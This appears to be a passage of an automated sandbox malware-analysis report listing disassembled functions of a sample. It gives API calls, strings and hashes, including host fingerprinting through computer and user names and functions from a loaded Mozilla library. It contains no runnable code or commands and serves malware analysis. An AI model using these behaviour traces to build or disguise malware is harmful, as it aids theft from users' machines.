Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 70477e7f9e92ece7c388a0b929d263e070b3841606f0df52ba6954ae39f71cec
Instruction ID: a35062658e3bfb3a4c5566c260fc9db233084736eda21f6721ca2e936c50de0b
Opcode Fuzzy Hash: 70477e7f9e92ece7c388a0b929d263e070b3841606f0df52ba6954ae39f71cec
Instruction Fuzzy Hash: 3EE01A31A4034D7BDB91EB90CC96FAE777CEB44B01F004295BA0C9B1C0DE70AB858B91

Function 00521190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
Part of subcall function 005378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00537917
Part of subcall function 005378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Part of subcall function 00537850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
Part of subcall function 00537850: RtlAllocateHeap.NTDLL(00000000), ref: 00537887
Part of subcall function 00537850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

ExitProcess.KERNEL32 ref: 005211C6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: d7e9ac0668a1b1abcf7f8e7e51f9be31a37a6c636abdb0f35d8e6b8cde3223bf
Instruction ID: f014225d17d6d94034bd4da2b7ff2b0c0b005c0336538f1a46cbb03bc852cc8b
Opcode Fuzzy Hash: d7e9ac0668a1b1abcf7f8e7e51f9be31a37a6c636abdb0f35d8e6b8cde3223bf
Instruction Fuzzy Hash: 78E012B6D1430B63CA1473F4BC0EB2B3B9C7B65355F044425FA06E2552FAA9F810C96E

Non-executed Functions

Function 6CE85440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CE85492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CE854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CE854BE
__Init_thread_footer.LIBCMT ref: 6CE854DB

Part of subcall function 6CEAAB3F: EnterCriticalSection.KERNEL32(6CEFE370,?,?,6CE73527,6CEFF6CC,?,?,?,?,?,?,?,?,6CE73284), ref: 6CEAAB49
Part of subcall function 6CEAAB3F: LeaveCriticalSection.KERNEL32(6CEFE370,?,6CE73527,6CEFF6CC,?,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CEAAB7C

Part of subcall function 6CEACBE8: GetCurrentProcess.KERNEL32(?,6CE731A7), ref: 6CEACBF1
Part of subcall function 6CEACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE731A7), ref: 6CEACBFA

GetCurrentThreadId.KERNEL32 ref: 6CE854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CE85516
GetCurrentThreadId.KERNEL32 ref: 6CE8556A
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CE85577
moz_xmalloc.MOZGLUE(00000070), ref: 6CE85585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CE85590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CE855E6
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CE85606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE85616

Part of subcall function 6CEAAB89: EnterCriticalSection.KERNEL32(6CEFE370,?,?,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284), ref: 6CEAAB94
Part of subcall function 6CEAAB89: LeaveCriticalSection.KERNEL32(6CEFE370,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CEAABD1

GetCurrentThreadId.KERNEL32 ref: 6CE8563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CE85646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CE8567C
free.MOZGLUE(?), ref: 6CE856AE

Part of subcall function 6CE95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CE95EDB
Part of subcall function 6CE95E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CE95F27
Part of subcall function 6CE95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CE95FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CE856E8
GetCurrentThreadId.KERNEL32 ref: 6CE85707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CE8570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CE85729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CE8574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CE8576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CE85796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CE857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CE857CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CE855E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CE85B38
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CE85749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CE857C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CE856E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CE854B9
MOZ_BASE_PROFILER_HELP, xrefs: 6CE85511
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CE85C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CE85724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CE85CF9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CE85791
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CE85D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CE85717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CE8548D
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CE85766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CE8584E
[I %d/%d] profiler_init, xrefs: 6CE8564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CE85D2B
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CE85D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CE85AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CE85BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CE854A3
GeckoMain, xrefs: 6CE85554, 6CE855D5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CE85D1C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CE857AE

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 4f74e211b750510b9bda72559f4cd0dcf17032ee4aeff2e620da82641c573bae
Instruction ID: 0571ec2aba91957d65758232b69171361fd90e951255a05540178fad470a1292
Opcode Fuzzy Hash: 4f74e211b750510b9bda72559f4cd0dcf17032ee4aeff2e620da82641c573bae
Instruction Fuzzy Hash: 18222675A063448FFB009F64984466A77F1AF8730CF34492AE86B97B81EB35C849CB53

Function 6CE86C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CE86CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CE86D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CE86D26

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CE86D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CE86D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CE86D73
free.MOZGLUE(00000000), ref: 6CE86D80
CertGetNameStringW.CRYPT32 ref: 6CE86DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CE86DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE86DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CE86DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CE86E10
CryptMsgClose.CRYPT32(00000000), ref: 6CE86E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CE86E34
CreateFileW.KERNEL32 ref: 6CE86EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CE86F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE86F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CE8709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CE87103
free.MOZGLUE(00000000), ref: 6CE87153
CloseHandle.KERNEL32(?), ref: 6CE87176
__Init_thread_footer.LIBCMT ref: 6CE87209
__Init_thread_footer.LIBCMT ref: 6CE8723A
__Init_thread_footer.LIBCMT ref: 6CE8726B
__Init_thread_footer.LIBCMT ref: 6CE8729C
__Init_thread_footer.LIBCMT ref: 6CE872DC
__Init_thread_footer.LIBCMT ref: 6CE8730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CE873C2
VerSetConditionMask.NTDLL ref: 6CE873F3
VerSetConditionMask.NTDLL ref: 6CE873FF
VerSetConditionMask.NTDLL ref: 6CE87406
VerSetConditionMask.NTDLL ref: 6CE8740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CE8741A
moz_xmalloc.MOZGLUE(?), ref: 6CE8755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE87568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CE87585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE87598
free.MOZGLUE(00000000), ref: 6CE875AC

Part of subcall function 6CEAAB89: EnterCriticalSection.KERNEL32(6CEFE370,?,?,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284), ref: 6CEAAB94
Part of subcall function 6CEAAB89: LeaveCriticalSection.KERNEL32(6CEFE370,?,6CE734DE,6CEFF6CC,?,?,?,?,?,?,?,6CE73284,?,?,6CE956F6), ref: 6CEAABD1

Strings

SHA256, xrefs: 6CE86EC0
(, xrefs: 6CE8768A
wintrust.dll, xrefs: 6CE872CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CE872C8

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 5478455614aaaa85508ed810f9105490a0bc8941e5f2306aaf0d13cbc9b94030
Instruction ID: 848b4b9e79bdec30e8f839ce8a17395d94d2f5fbf83b6c5e0d7db541672bab02
Opcode Fuzzy Hash: 5478455614aaaa85508ed810f9105490a0bc8941e5f2306aaf0d13cbc9b94030
Instruction Fuzzy Hash: F552E6B1A013589FEB218F64CC84BAA77B8EB86708F204199F91D97740DB74AF85CF51

Function 6CEB0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEB0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CEB0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CEB0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CEB1031
LeaveCriticalSection.KERNEL32(?), ref: 6CEB10D0
EnterCriticalSection.KERNEL32(?), ref: 6CEB117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CEB1C39
EnterCriticalSection.KERNEL32(6CEFE744), ref: 6CEB3391
LeaveCriticalSection.KERNEL32(6CEFE744), ref: 6CEB33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CEB3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEB3437

Strings

MOZ_CRASH(), xrefs: 6CEB3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CEB37BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CEB37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CEB3A02
<jemalloc>, xrefs: 6CEB3941, 6CEB39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CEB37A8
MALLOC_OPTIONS, xrefs: 6CEB35FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEB3559, 6CEB382D, 6CEB3848
Compile-time page size does not divide the runtime one., xrefs: 6CEB3946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CEB3793

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: c87ccf070b87674c6341c76b40cea03fc249e972c4a59f083db48611db849efd
Instruction ID: 80a96c5bd2ff0bb3f356a365ba6bc4f0e2360e743ae831531187dfc94a512146
Opcode Fuzzy Hash: c87ccf070b87674c6341c76b40cea03fc249e972c4a59f083db48611db849efd
Instruction Fuzzy Hash: 44537C71A057018FD704CF28C641625FBF1BF8A328F29C66DE869AB791D775E842CB81

Function 6CED34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED3EE2

Part of subcall function 6CED6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CED61DD
Part of subcall function 6CED6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CED622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED4157

Part of subcall function 6CED6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CED6250
Part of subcall function 6CED6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CED6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CED4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CED484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CED4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CED4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CED4896
free.MOZGLUE ref: 6CED489F

Strings

, xrefs: 6CED4CD2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e1f59f11bc184e7097424044b806960450af3ddd5300ed7241fb78bce3b07f96
Instruction ID: 80158bbbb30b70b40f761e27ff85a759cff3638087a49047ba00e7045fece713
Opcode Fuzzy Hash: e1f59f11bc184e7097424044b806960450af3ddd5300ed7241fb78bce3b07f96
Instruction Fuzzy Hash: 1DF24F74508B808FC761CF28C08469AFBF1FFD9348F258A5ED99997751DB31A886CB42

Function 6CE864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CE864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CE864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CE86505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CE86518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CE8652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8671C
GetCurrentProcess.KERNEL32 ref: 6CE86724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CE8672F
GetCurrentProcess.KERNEL32 ref: 6CE86759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CE86764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CE86A80
GetSystemInfo.KERNEL32(?), ref: 6CE86ABE
__Init_thread_footer.LIBCMT ref: 6CE86AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE86AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE86AF7

Strings

nvd3d9wrap.dll, xrefs: 6CE86500
user32.dll, xrefs: 6CE86526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CE86798
detoured.dll, xrefs: 6CE864DA
_etoured.dll, xrefs: 6CE864ED
nvdxgiwrap.dll, xrefs: 6CE86513

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: a28de0f53cea0a74c5274668dcb4667276b71861a3d06796bf9ab0e088e67378
Instruction ID: 03e3c76d411c1ac406a02048a61fce81c921ed0bf437fb2c1ed92faf62eb965c
Opcode Fuzzy Hash: a28de0f53cea0a74c5274668dcb4667276b71861a3d06796bf9ab0e088e67378
Instruction Fuzzy Hash: 90F1F4709126198FDB20CF64DC88B9AB7B9AF4631CF2442D9D81DA7780D735AE85CF90

Function 005338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005338CC
FindFirstFileA.KERNEL32(?,?), ref: 005338E3
lstrcat.KERNEL32(?,?), ref: 00533935
